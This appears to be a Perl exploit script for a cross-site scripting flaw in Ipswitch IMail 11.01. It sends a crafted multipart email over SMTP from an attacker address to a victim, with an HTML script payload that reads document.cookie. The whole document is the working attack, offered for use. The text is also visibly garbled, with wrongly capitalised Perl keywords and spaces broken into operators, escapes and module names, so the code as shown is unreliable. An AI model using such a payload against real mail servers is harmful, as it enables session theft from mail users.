#! /Usr/bin/perl
# Title: Ipswitch IMail 11.01 XSS Vulnerability
# Author: DaOne aka Mocking Bird
# Program Official Website: http://www.ipswitch.com/
# Test Platform: windows
Use Net: SMTP;
# ARGV Check
If ($ # ARGV! = 2)
{
Print "\ nUSAGE: IMail. pl <Mail Server> <Attacker Email> <VicTim Email> \ n ";
Exit;
}
$ Host = $ ARGV [0];
$ Attacker = $ ARGV [1];
$ Victim = $ ARGV [2];
# Config SMTP
$ Smtp = Net: SMTP-> new (Host => $ host,
Hello => 'Hello world ',
Timeout => 30)
Or die "Couldn't connect to Mail Server \ n ";
# Attacker and Victim email
$ Smtp-> mail ($ attacker );
$ Smtp-> to ($ victim );
# Send email
$ Buffer = "From: XSS \ n ".
"To: testing \ n ".
"Subject: testing \ n ".
"MIME-Version: 1.0 \ n ".
"Content-Type: multipart/mixed; \ n ".
"Boundary = \" -- = 45145578442838848853975045745715171602582966277178406402638054315034128543847104614337851625097187549984363453814450535441019 \ "\ n ".
"---- = 45145578442838848853975045745715171602582966277178406402638054315034128543847104614337851625097187549984363453814450535441019 \ n ".
"Content-Type: text/html; \ n ".
"Charset = \" UTF-8 \ "\ n ".
"Content-Transfer-Encoding: quoted-printable \ n ".
"XSS \ n ".
"<! Doctype html public \ "-// W3C // dtd html 4.0 Transitional // EN \"> \ n ".
"<HTML> <BODY> \ n ".
"<Script> alert (document. cookie) </script> \ n ".
"</BODY> </HTML> \ n ".
"---- = 45145578442838848853975045745715171602582966277178406402638054315034128543847104614337851625097187549984363453814450535441019 --";
$ Smtp-> data ();
$ Smtp-> datasend ($ buffer );
$ Smtp-> quit ();
Print "Send. \ n ";